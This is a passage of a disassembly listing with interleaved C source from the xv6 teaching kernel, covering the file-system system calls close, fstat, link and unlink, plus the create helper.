80105bea: 89 44 24 04 mov %eax,0x4(%esp)
80105bee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105bf5: e8 ee fc ff ff call 801058e8 <argptr>
80105bfa: 85 c0 test %eax,%eax
80105bfc: 79 07 jns 80105c05 <sys_write+0x61>
return -1;
80105bfe: b8 ff ff ff ff mov $0xffffffff,%eax
80105c03: eb 19 jmp 80105c1e <sys_write+0x7a>
return filewrite(f, p, n);
80105c05: 8b 4d f0 mov -0x10(%ebp),%ecx
80105c08: 8b 55 ec mov -0x14(%ebp),%edx
80105c0b: 8b 45 f4 mov -0xc(%ebp),%eax
80105c0e: 89 4c 24 08 mov %ecx,0x8(%esp)
80105c12: 89 54 24 04 mov %edx,0x4(%esp)
80105c16: 89 04 24 mov %eax,(%esp)
80105c19: e8 93 b5 ff ff call 801011b1 <filewrite>
}
80105c1e: c9 leave
80105c1f: c3 ret
80105c20 <sys_close>:
int
sys_close(void)
{
80105c20: 55 push %ebp
80105c21: 89 e5 mov %esp,%ebp
80105c23: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80105c26: 8d 45 f0 lea -0x10(%ebp),%eax
80105c29: 89 44 24 08 mov %eax,0x8(%esp)
80105c2d: 8d 45 f4 lea -0xc(%ebp),%eax
80105c30: 89 44 24 04 mov %eax,0x4(%esp)
80105c34: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105c3b: e8 d0 fd ff ff call 80105a10 <argfd>
80105c40: 85 c0 test %eax,%eax
80105c42: 79 07 jns 80105c4b <sys_close+0x2b>
return -1;
80105c44: b8 ff ff ff ff mov $0xffffffff,%eax
80105c49: eb 24 jmp 80105c6f <sys_close+0x4f>
proc->ofile[fd] = 0;
80105c4b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105c51: 8b 55 f4 mov -0xc(%ebp),%edx
80105c54: 83 c2 08 add $0x8,%edx
80105c57: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80105c5e: 00
fileclose(f);
80105c5f: 8b 45 f0 mov -0x10(%ebp),%eax
80105c62: 89 04 24 mov %eax,(%esp)
80105c65: e8 66 b3 ff ff call 80100fd0 <fileclose>
return 0;
80105c6a: b8 00 00 00 00 mov $0x0,%eax
}
80105c6f: c9 leave
80105c70: c3 ret
80105c71 <sys_fstat>:
int
sys_fstat(void)
{
80105c71: 55 push %ebp
80105c72: 89 e5 mov %esp,%ebp
80105c74: 83 ec 28 sub $0x28,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80105c77: 8d 45 f4 lea -0xc(%ebp),%eax
80105c7a: 89 44 24 08 mov %eax,0x8(%esp)
80105c7e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105c85: 00
80105c86: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105c8d: e8 7e fd ff ff call 80105a10 <argfd>
80105c92: 85 c0 test %eax,%eax
80105c94: 78 1f js 80105cb5 <sys_fstat+0x44>
80105c96: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80105c9d: 00
80105c9e: 8d 45 f0 lea -0x10(%ebp),%eax
80105ca1: 89 44 24 04 mov %eax,0x4(%esp)
80105ca5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105cac: e8 37 fc ff ff call 801058e8 <argptr>
80105cb1: 85 c0 test %eax,%eax
80105cb3: 79 07 jns 80105cbc <sys_fstat+0x4b>
return -1;
80105cb5: b8 ff ff ff ff mov $0xffffffff,%eax
80105cba: eb 12 jmp 80105cce <sys_fstat+0x5d>
return filestat(f, st);
80105cbc: 8b 55 f0 mov -0x10(%ebp),%edx
80105cbf: 8b 45 f4 mov -0xc(%ebp),%eax
80105cc2: 89 54 24 04 mov %edx,0x4(%esp)
80105cc6: 89 04 24 mov %eax,(%esp)
80105cc9: e8 d8 b3 ff ff call 801010a6 <filestat>
}
80105cce: c9 leave
80105ccf: c3 ret
80105cd0 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80105cd0: 55 push %ebp
80105cd1: 89 e5 mov %esp,%ebp
80105cd3: 83 ec 38 sub $0x38,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80105cd6: 8d 45 d8 lea -0x28(%ebp),%eax
80105cd9: 89 44 24 04 mov %eax,0x4(%esp)
80105cdd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105ce4: e8 61 fc ff ff call 8010594a <argstr>
80105ce9: 85 c0 test %eax,%eax
80105ceb: 78 17 js 80105d04 <sys_link+0x34>
80105ced: 8d 45 dc lea -0x24(%ebp),%eax
80105cf0: 89 44 24 04 mov %eax,0x4(%esp)
80105cf4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105cfb: e8 4a fc ff ff call 8010594a <argstr>
80105d00: 85 c0 test %eax,%eax
80105d02: 79 0a jns 80105d0e <sys_link+0x3e>
return -1;
80105d04: b8 ff ff ff ff mov $0xffffffff,%eax
80105d09: e9 41 01 00 00 jmp 80105e4f <sys_link+0x17f>
begin_op();
80105d0e: e8 4e d7 ff ff call 80103461 <begin_op>
if((ip = namei(old)) == 0){
80105d13: 8b 45 d8 mov -0x28(%ebp),%eax
80105d16: 89 04 24 mov %eax,(%esp)
80105d19: e8 f8 c6 ff ff call 80102416 <namei>
80105d1e: 89 45 f4 mov %eax,-0xc(%ebp)
80105d21: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105d25: 75 0f jne 80105d36 <sys_link+0x66>
end_op();
80105d27: e8 b6 d7 ff ff call 801034e2 <end_op>
return -1;
80105d2c: b8 ff ff ff ff mov $0xffffffff,%eax
80105d31: e9 19 01 00 00 jmp 80105e4f <sys_link+0x17f>
}
ilock(ip);
80105d36: 8b 45 f4 mov -0xc(%ebp),%eax
80105d39: 89 04 24 mov %eax,(%esp)
80105d3c: e8 33 bb ff ff call 80101874 <ilock>
if(ip->type == T_DIR){
80105d41: 8b 45 f4 mov -0xc(%ebp),%eax
80105d44: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105d48: 66 83 f8 01 cmp $0x1,%ax
80105d4c: 75 1a jne 80105d68 <sys_link+0x98>
iunlockput(ip);
80105d4e: 8b 45 f4 mov -0xc(%ebp),%eax
80105d51: 89 04 24 mov %eax,(%esp)
80105d54: e8 9f bd ff ff call 80101af8 <iunlockput>
end_op();
80105d59: e8 84 d7 ff ff call 801034e2 <end_op>
return -1;
80105d5e: b8 ff ff ff ff mov $0xffffffff,%eax
80105d63: e9 e7 00 00 00 jmp 80105e4f <sys_link+0x17f>
}
ip->nlink++;
80105d68: 8b 45 f4 mov -0xc(%ebp),%eax
80105d6b: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105d6f: 8d 50 01 lea 0x1(%eax),%edx
80105d72: 8b 45 f4 mov -0xc(%ebp),%eax
80105d75: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105d79: 8b 45 f4 mov -0xc(%ebp),%eax
80105d7c: 89 04 24 mov %eax,(%esp)
80105d7f: e8 34 b9 ff ff call 801016b8 <iupdate>
iunlock(ip);
80105d84: 8b 45 f4 mov -0xc(%ebp),%eax
80105d87: 89 04 24 mov %eax,(%esp)
80105d8a: e8 33 bc ff ff call 801019c2 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80105d8f: 8b 45 dc mov -0x24(%ebp),%eax
80105d92: 8d 55 e2 lea -0x1e(%ebp),%edx
80105d95: 89 54 24 04 mov %edx,0x4(%esp)
80105d99: 89 04 24 mov %eax,(%esp)
80105d9c: e8 97 c6 ff ff call 80102438 <nameiparent>
80105da1: 89 45 f0 mov %eax,-0x10(%ebp)
80105da4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105da8: 74 68 je 80105e12 <sys_link+0x142>
goto bad;
ilock(dp);
80105daa: 8b 45 f0 mov -0x10(%ebp),%eax
80105dad: 89 04 24 mov %eax,(%esp)
80105db0: e8 bf ba ff ff call 80101874 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80105db5: 8b 45 f0 mov -0x10(%ebp),%eax
80105db8: 8b 10 mov (%eax),%edx
80105dba: 8b 45 f4 mov -0xc(%ebp),%eax
80105dbd: 8b 00 mov (%eax),%eax
80105dbf: 39 c2 cmp %eax,%edx
80105dc1: 75 20 jne 80105de3 <sys_link+0x113>
80105dc3: 8b 45 f4 mov -0xc(%ebp),%eax
80105dc6: 8b 40 04 mov 0x4(%eax),%eax
80105dc9: 89 44 24 08 mov %eax,0x8(%esp)
80105dcd: 8d 45 e2 lea -0x1e(%ebp),%eax
80105dd0: 89 44 24 04 mov %eax,0x4(%esp)
80105dd4: 8b 45 f0 mov -0x10(%ebp),%eax
80105dd7: 89 04 24 mov %eax,(%esp)
80105dda: e8 76 c3 ff ff call 80102155 <dirlink>
80105ddf: 85 c0 test %eax,%eax
80105de1: 79 0d jns 80105df0 <sys_link+0x120>
iunlockput(dp);
80105de3: 8b 45 f0 mov -0x10(%ebp),%eax
80105de6: 89 04 24 mov %eax,(%esp)
80105de9: e8 0a bd ff ff call 80101af8 <iunlockput>
goto bad;
80105dee: eb 23 jmp 80105e13 <sys_link+0x143>
}
iunlockput(dp);
80105df0: 8b 45 f0 mov -0x10(%ebp),%eax
80105df3: 89 04 24 mov %eax,(%esp)
80105df6: e8 fd bc ff ff call 80101af8 <iunlockput>
iput(ip);
80105dfb: 8b 45 f4 mov -0xc(%ebp),%eax
80105dfe: 89 04 24 mov %eax,(%esp)
80105e01: e8 21 bc ff ff call 80101a27 <iput>
end_op();
80105e06: e8 d7 d6 ff ff call 801034e2 <end_op>
return 0;
80105e0b: b8 00 00 00 00 mov $0x0,%eax
80105e10: eb 3d jmp 80105e4f <sys_link+0x17f>
ip->nlink++;
iupdate(ip);
iunlock(ip);
if((dp = nameiparent(new, name)) == 0)
goto bad;
80105e12: 90 nop
end_op();
return 0;
bad:
ilock(ip);
80105e13: 8b 45 f4 mov -0xc(%ebp),%eax
80105e16: 89 04 24 mov %eax,(%esp)
80105e19: e8 56 ba ff ff call 80101874 <ilock>
ip->nlink--;
80105e1e: 8b 45 f4 mov -0xc(%ebp),%eax
80105e21: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105e25: 8d 50 ff lea -0x1(%eax),%edx
80105e28: 8b 45 f4 mov -0xc(%ebp),%eax
80105e2b: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105e2f: 8b 45 f4 mov -0xc(%ebp),%eax
80105e32: 89 04 24 mov %eax,(%esp)
80105e35: e8 7e b8 ff ff call 801016b8 <iupdate>
iunlockput(ip);
80105e3a: 8b 45 f4 mov -0xc(%ebp),%eax
80105e3d: 89 04 24 mov %eax,(%esp)
80105e40: e8 b3 bc ff ff call 80101af8 <iunlockput>
end_op();
80105e45: e8 98 d6 ff ff call 801034e2 <end_op>
return -1;
80105e4a: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105e4f: c9 leave
80105e50: c3 ret
80105e51 <isdirempty>:
// Is the directory dp empty except for "." and ".." ?
static int
isdirempty(struct inode *dp)
{
80105e51: 55 push %ebp
80105e52: 89 e5 mov %esp,%ebp
80105e54: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105e57: c7 45 f4 20 00 00 00 movl $0x20,-0xc(%ebp)
80105e5e: eb 4b jmp 80105eab <isdirempty+0x5a>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105e60: 8b 45 f4 mov -0xc(%ebp),%eax
80105e63: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105e6a: 00
80105e6b: 89 44 24 08 mov %eax,0x8(%esp)
80105e6f: 8d 45 e4 lea -0x1c(%ebp),%eax
80105e72: 89 44 24 04 mov %eax,0x4(%esp)
80105e76: 8b 45 08 mov 0x8(%ebp),%eax
80105e79: 89 04 24 mov %eax,(%esp)
80105e7c: e8 e9 be ff ff call 80101d6a <readi>
80105e81: 83 f8 10 cmp $0x10,%eax
80105e84: 74 0c je 80105e92 <isdirempty+0x41>
panic("isdirempty: readi");
80105e86: c7 04 24 57 8e 10 80 movl $0x80108e57,(%esp)
80105e8d: e8 ab a6 ff ff call 8010053d <panic>
if(de.inum != 0)
80105e92: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
80105e96: 66 85 c0 test %ax,%ax
80105e99: 74 07 je 80105ea2 <isdirempty+0x51>
return 0;
80105e9b: b8 00 00 00 00 mov $0x0,%eax
80105ea0: eb 1b jmp 80105ebd <isdirempty+0x6c>
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105ea2: 8b 45 f4 mov -0xc(%ebp),%eax
80105ea5: 83 c0 10 add $0x10,%eax
80105ea8: 89 45 f4 mov %eax,-0xc(%ebp)
80105eab: 8b 55 f4 mov -0xc(%ebp),%edx
80105eae: 8b 45 08 mov 0x8(%ebp),%eax
80105eb1: 8b 40 18 mov 0x18(%eax),%eax
80105eb4: 39 c2 cmp %eax,%edx
80105eb6: 72 a8 jb 80105e60 <isdirempty+0xf>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
if(de.inum != 0)
return 0;
}
return 1;
80105eb8: b8 01 00 00 00 mov $0x1,%eax
}
80105ebd: c9 leave
80105ebe: c3 ret
80105ebf <sys_unlink>:
//PAGEBREAK!
int
sys_unlink(void)
{
80105ebf: 55 push %ebp
80105ec0: 89 e5 mov %esp,%ebp
80105ec2: 83 ec 48 sub $0x48,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80105ec5: 8d 45 cc lea -0x34(%ebp),%eax
80105ec8: 89 44 24 04 mov %eax,0x4(%esp)
80105ecc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105ed3: e8 72 fa ff ff call 8010594a <argstr>
80105ed8: 85 c0 test %eax,%eax
80105eda: 79 0a jns 80105ee6 <sys_unlink+0x27>
return -1;
80105edc: b8 ff ff ff ff mov $0xffffffff,%eax
80105ee1: e9 af 01 00 00 jmp 80106095 <sys_unlink+0x1d6>
begin_op();
80105ee6: e8 76 d5 ff ff call 80103461 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80105eeb: 8b 45 cc mov -0x34(%ebp),%eax
80105eee: 8d 55 d2 lea -0x2e(%ebp),%edx
80105ef1: 89 54 24 04 mov %edx,0x4(%esp)
80105ef5: 89 04 24 mov %eax,(%esp)
80105ef8: e8 3b c5 ff ff call 80102438 <nameiparent>
80105efd: 89 45 f4 mov %eax,-0xc(%ebp)
80105f00: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105f04: 75 0f jne 80105f15 <sys_unlink+0x56>
end_op();
80105f06: e8 d7 d5 ff ff call 801034e2 <end_op>
return -1;
80105f0b: b8 ff ff ff ff mov $0xffffffff,%eax
80105f10: e9 80 01 00 00 jmp 80106095 <sys_unlink+0x1d6>
}
ilock(dp);
80105f15: 8b 45 f4 mov -0xc(%ebp),%eax
80105f18: 89 04 24 mov %eax,(%esp)
80105f1b: e8 54 b9 ff ff call 80101874 <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80105f20: c7 44 24 04 69 8e 10 movl $0x80108e69,0x4(%esp)
80105f27: 80
80105f28: 8d 45 d2 lea -0x2e(%ebp),%eax
80105f2b: 89 04 24 mov %eax,(%esp)
80105f2e: e8 38 c1 ff ff call 8010206b <namecmp>
80105f33: 85 c0 test %eax,%eax
80105f35: 0f 84 45 01 00 00 je 80106080 <sys_unlink+0x1c1>
80105f3b: c7 44 24 04 6b 8e 10 movl $0x80108e6b,0x4(%esp)
80105f42: 80
80105f43: 8d 45 d2 lea -0x2e(%ebp),%eax
80105f46: 89 04 24 mov %eax,(%esp)
80105f49: e8 1d c1 ff ff call 8010206b <namecmp>
80105f4e: 85 c0 test %eax,%eax
80105f50: 0f 84 2a 01 00 00 je 80106080 <sys_unlink+0x1c1>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80105f56: 8d 45 c8 lea -0x38(%ebp),%eax
80105f59: 89 44 24 08 mov %eax,0x8(%esp)
80105f5d: 8d 45 d2 lea -0x2e(%ebp),%eax
80105f60: 89 44 24 04 mov %eax,0x4(%esp)
80105f64: 8b 45 f4 mov -0xc(%ebp),%eax
80105f67: 89 04 24 mov %eax,(%esp)
80105f6a: e8 1e c1 ff ff call 8010208d <dirlookup>
80105f6f: 89 45 f0 mov %eax,-0x10(%ebp)
80105f72: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105f76: 0f 84 03 01 00 00 je 8010607f <sys_unlink+0x1c0>
goto bad;
ilock(ip);
80105f7c: 8b 45 f0 mov -0x10(%ebp),%eax
80105f7f: 89 04 24 mov %eax,(%esp)
80105f82: e8 ed b8 ff ff call 80101874 <ilock>
if(ip->nlink < 1)
80105f87: 8b 45 f0 mov -0x10(%ebp),%eax
80105f8a: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105f8e: 66 85 c0 test %ax,%ax
80105f91: 7f 0c jg 80105f9f <sys_unlink+0xe0>
panic("unlink: nlink < 1");
80105f93: c7 04 24 6e 8e 10 80 movl $0x80108e6e,(%esp)
80105f9a: e8 9e a5 ff ff call 8010053d <panic>
if(ip->type == T_DIR && !isdirempty(ip)){
80105f9f: 8b 45 f0 mov -0x10(%ebp),%eax
80105fa2: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105fa6: 66 83 f8 01 cmp $0x1,%ax
80105faa: 75 1f jne 80105fcb <sys_unlink+0x10c>
80105fac: 8b 45 f0 mov -0x10(%ebp),%eax
80105faf: 89 04 24 mov %eax,(%esp)
80105fb2: e8 9a fe ff ff call 80105e51 <isdirempty>
80105fb7: 85 c0 test %eax,%eax
80105fb9: 75 10 jne 80105fcb <sys_unlink+0x10c>
iunlockput(ip);
80105fbb: 8b 45 f0 mov -0x10(%ebp),%eax
80105fbe: 89 04 24 mov %eax,(%esp)
80105fc1: e8 32 bb ff ff call 80101af8 <iunlockput>
goto bad;
80105fc6: e9 b5 00 00 00 jmp 80106080 <sys_unlink+0x1c1>
}
memset(&de, 0, sizeof(de));
80105fcb: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80105fd2: 00
80105fd3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105fda: 00
80105fdb: 8d 45 e0 lea -0x20(%ebp),%eax
80105fde: 89 04 24 mov %eax,(%esp)
80105fe1: e8 78 f5 ff ff call 8010555e <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105fe6: 8b 45 c8 mov -0x38(%ebp),%eax
80105fe9: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105ff0: 00
80105ff1: 89 44 24 08 mov %eax,0x8(%esp)
80105ff5: 8d 45 e0 lea -0x20(%ebp),%eax
80105ff8: 89 44 24 04 mov %eax,0x4(%esp)
80105ffc: 8b 45 f4 mov -0xc(%ebp),%eax
80105fff: 89 04 24 mov %eax,(%esp)
80106002: e8 ce be ff ff call 80101ed5 <writei>
80106007: 83 f8 10 cmp $0x10,%eax
8010600a: 74 0c je 80106018 <sys_unlink+0x159>
panic("unlink: writei");
8010600c: c7 04 24 80 8e 10 80 movl $0x80108e80,(%esp)
80106013: e8 25 a5 ff ff call 8010053d <panic>
if(ip->type == T_DIR){
80106018: 8b 45 f0 mov -0x10(%ebp),%eax
8010601b: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010601f: 66 83 f8 01 cmp $0x1,%ax
80106023: 75 1c jne 80106041 <sys_unlink+0x182>
dp->nlink--;
80106025: 8b 45 f4 mov -0xc(%ebp),%eax
80106028: 0f b7 40 16 movzwl 0x16(%eax),%eax
8010602c: 8d 50 ff lea -0x1(%eax),%edx
8010602f: 8b 45 f4 mov -0xc(%ebp),%eax
80106032: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(dp);
80106036: 8b 45 f4 mov -0xc(%ebp),%eax
80106039: 89 04 24 mov %eax,(%esp)
8010603c: e8 77 b6 ff ff call 801016b8 <iupdate>
}
iunlockput(dp);
80106041: 8b 45 f4 mov -0xc(%ebp),%eax
80106044: 89 04 24 mov %eax,(%esp)
80106047: e8 ac ba ff ff call 80101af8 <iunlockput>
ip->nlink--;
8010604c: 8b 45 f0 mov -0x10(%ebp),%eax
8010604f: 0f b7 40 16 movzwl 0x16(%eax),%eax
80106053: 8d 50 ff lea -0x1(%eax),%edx
80106056: 8b 45 f0 mov -0x10(%ebp),%eax
80106059: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
8010605d: 8b 45 f0 mov -0x10(%ebp),%eax
80106060: 89 04 24 mov %eax,(%esp)
80106063: e8 50 b6 ff ff call 801016b8 <iupdate>
iunlockput(ip);
80106068: 8b 45 f0 mov -0x10(%ebp),%eax
8010606b: 89 04 24 mov %eax,(%esp)
8010606e: e8 85 ba ff ff call 80101af8 <iunlockput>
end_op();
80106073: e8 6a d4 ff ff call 801034e2 <end_op>
return 0;
80106078: b8 00 00 00 00 mov $0x0,%eax
8010607d: eb 16 jmp 80106095 <sys_unlink+0x1d6>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
goto bad;
8010607f: 90 nop
end_op();
return 0;
bad:
iunlockput(dp);
80106080: 8b 45 f4 mov -0xc(%ebp),%eax
80106083: 89 04 24 mov %eax,(%esp)
80106086: e8 6d ba ff ff call 80101af8 <iunlockput>
end_op();
8010608b: e8 52 d4 ff ff call 801034e2 <end_op>
return -1;
80106090: b8 ff ff ff ff mov $0xffffffff,%eax
}
80106095: c9 leave
80106096: c3 ret
80106097 <create>:
static struct inode*
create(char *path, short type, short major, short minor)
{
80106097: 55 push %ebp
80106098: 89 e5 mov %esp,%ebp
8010609a: 83 ec 48 sub $0x48,%esp
8010609d: 8b 4d 0c mov 0xc(%ebp),%ecx
801060a0: 8b 55 10 mov 0x10(%ebp),%edx
801060a3: 8b 45 14 mov 0x14(%ebp),%eax
801060a6: 66 89 4d d4 mov %cx,-0x2c(%ebp)
801060aa: 66 89 55 d0 mov %dx,-0x30(%ebp)
801060ae: 66 89 45 cc mov %ax,-0x34(%ebp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801060b2: 8d 45 de lea -0x22(%ebp),%eax
801060b5: 89 44 24 04 mov %eax,0x4(%esp)
801060b9: 8b 45 08 mov 0x8(%ebp),%eax
801060bc: 89 04 24 mov %eax,(%esp)
801060bf: e8 74 c3 ff ff call 80102438 <nameiparent>
801060c4: 89 45 f4 mov %eax,-0xc(%ebp)
801060c7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801060cb: 75 0a jne 801060d7 <create+0x40>
return 0;
801060cd: b8 00 00 00 00 mov $0x0,%eax
801060d2: e9 7e 01 00 00 jmp 80106255 <create+0x1be>
ilock(dp);
801060d7: 8b 45 f4 mov -0xc(%ebp),%eax
801060da: 89 04 24 mov %eax,(%esp)
801060dd: e8 92 b7 ff ff call 80101874 <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
801060e2: 8d 45 ec lea -0x14(%ebp),%eax
801060e5: 89 44 24 08 mov %eax,0x8(%esp)
801060e9: 8d 45 de lea -0x22(%ebp),%eax
801060ec: 89 44 24 04 mov %eax,0x4(%esp)
801060f0: 8b 45 f4 mov -0xc(%ebp),%eax
801060f3: 89 04 24 mov %eax,(%esp)
801060f6: e8 92 bf ff ff call 8010208d <dirlookup>
801060fb: 89 45 f0 mov %eax,-0x10(%ebp)
801060fe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106102: 74 47 je 8010614b <create+0xb4>
iunlockput(dp);
80106104: 8b 45 f4 mov -0xc(%ebp),%eax
80106107: 89 04 24 mov %eax,(%esp)
8010610a: e8 e9 b9 ff ff call 80101af8 <iunlockput>
ilock(ip);
8010610f: 8b 45 f0 mov -0x10(%ebp),%eax
80106112: 89 04 24 mov %eax,(%esp)
80106115: e8 5a b7 ff ff call 80101874 <ilock>
if(type == T_FILE && ip->type == T_FILE)
8010611a: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
8010611f: 75 15 jne 80106136 <create+0x9f>
80106121: 8b 45 f0 mov -0x10(%ebp),%eax
80106124: 0f b7 40 10 movzwl 0x10(%eax),%eax
80106128: 66 83 f8 02 cmp $0x2,%ax
8010612c: 75 08 jne 80106136 <create+0x9f>
return ip;
8010612e: 8b 45 f0 mov -0x10(%ebp),%eax
80106131: e9 1f 01 00 00 jmp 80106255 <create+0x1be>
iunlockput(ip);
80106136: 8b 45 f0 mov -0x10(%ebp),%eax
80106139: 89 04 24 mov %eax,(%esp)
8010613c: e8 b7 b9 ff ff call 80101af8 <iunlockput>
return 0;
80106141: b8 00 00 00 00 mov $0x0,%eax
80106146: e9 0a 01 00 00 jmp 80106255 <create+0x1be>
}
if((ip = ialloc(dp->dev, type)) == 0)
8010614b: 0f bf 55 d4 movswl -0x2c(%ebp),%edx
8010614f: 8b 45 f4 mov -0xc(%ebp),%eax
80106152: 8b 00 mov (%eax),%eax
80106154: 89 54 24 04 mov %edx,0x4(%esp)
80106158: 89 04 24 mov %eax,(%esp)
8010615b: e8 7b b4 ff ff call 801015db <ialloc>
80106160: 89 45 f0 mov %eax,-0x10(%ebp)
80106163: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106167: 75 0c jne 80106175 <create+0xde>
panic("create: ialloc");
80106169: c7 04 24 8f 8e 10 80 movl $0x80108e8f,(%esp)
80106170: e8 c8 a3 ff ff call 8010053d <panic>
ilock(ip);
80106175: 8b 45 f0 mov -0x10(%ebp),%eax
80106178: 89 04 24 mov %eax,(%esp)
8010617b: e8 f4 b6 ff ff call 80101874 <ilock>
ip->major = major;
80106180: 8b 45 f0 mov -0x10(%ebp),%eax
80106183: 0f b7 55 d0 movzwl -0x30(%ebp),%edx
80106187: 66 89 50 12 mov %dx,0x12(%eax)
ip->minor = minor;
8010618b: 8b 45 f0 mov -0x10(%ebp),%eax
8010618e: 0f b7 55 cc movzwl -0x34(%ebp),%edx
80106192: 66 89 50 14 mov %dx,0x14(%eax)
ip->nlink = 1;
80106196: 8b 45 f0 mov -0x10(%ebp),%eax
80106199: 66 c7 40 16 01 00 movw $0x1,0x16(%eax)
iupdate(ip);
8010619f: 8b 45 f0 mov -0x10(%ebp),%eax
801061a2: 89 04 24 mov %eax,(%esp)
801061a5: e8 0e b5 ff ff call 801016b8 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
801061aa: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
801061af: 75 6a jne 8010621b <create+0x184>
dp->nlink++; // for ".."
801061b1: 8b 45 f4 mov -0xc(%ebp),%eax
801061b4: 0f b7 40 16 movzwl 0x16(%eax),%eax
801061b8: 8d 50 01 lea 0x1(%eax),%edx
801061bb: 8b 45 f4 mov -0xc(%ebp),%eax
801061be: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(dp);
801061c2: 8b 45 f4 mov -0xc(%ebp),%eax
801061c5: 89 04 24 mov %eax,(%esp)
801061c8: e8 eb b4 ff ff call 801016b8 <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
801061cd: 8b 45 f0 mov -0x10(%ebp),%eax
801061d0: 8b 40 04 mov 0x4(%eax),%eax
801061d3: 89 44 24 08 mov %eax,0x8(%esp)
801061d7: c7 44 24 04 69 8e 10 movl $0x80108e69,0x4(%esp)
801061de: 80
801061df: 8b 45 f0 mov -0x10(%ebp),%eax
801061e2: 89 04 24 mov %eax,(%esp)
801061e5: e8 6b bf ff ff call 80102155 <dirlink>
801061ea: 85 c0 test %eax,%eax
801061ec: 78 21 js 8010620f <create+0x178>
801061ee: 8b 45 f4 mov -0xc(%ebp),%eax
801061f1: 8b 40 04 mov 0x4(%eax),%eax
801061f4: 89 44 24 08 mov %eax,0x8(%esp)
801061f8: c7 44 24 04 6b 8e 10 movl $0x80108e6b,0x4(%esp)
801061ff: 80
80106200: 8b 45 f0 mov -0x10(%ebp),%eax
80106203: 89 04 24 mov %eax,(%esp)
80106206: e8 4a bf ff ff call 80102155 <dirlink>
8010620b: 85 c0 test %eax,%eax
8010620d: 79 0c jns 8010621b <create+0x184>
panic("create dots");
8010620f: c7 04 24 9e 8e 10 80 movl $0x80108e9e,(%esp)
80106216: e8 22 a3 ff ff call 8010053d <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
8010621b: 8b 45 f0 mov -0x10(%ebp),%eax
8010621e: 8b 40 04 mov 0x4(%eax),%eax
80106221: 89 44 24 08 mov %eax,0x8(%esp)
80106225: 8d 45 de lea -0x22(%ebp),%eax
80106228: 89 44 24 04 mov %eax,0x4(%esp)
8010622c: 8b 45 f4 mov -0xc(%ebp),%eax
8010622f: 89 04 24 mov %eax,(%esp)
80106232: e8 1e bf ff ff call 80102155 <dirlink>
80106237: 85 c0 test %eax,%eax
80106239: 79 0c jns 80106247 <create+0x1b0>
panic("create: dirlink");
8010623b: c7 04 24 aa 8e 10 80 movl $0x80108eaa,(%esp)
80106242: e8 f6 a2 ff ff call 8010053d <panic>
iunlockput(dp);
80106247: 8b 45 f4 mov -0xc(%ebp),%eax
8010624a: 89 04 24 mov %eax,(%esp)
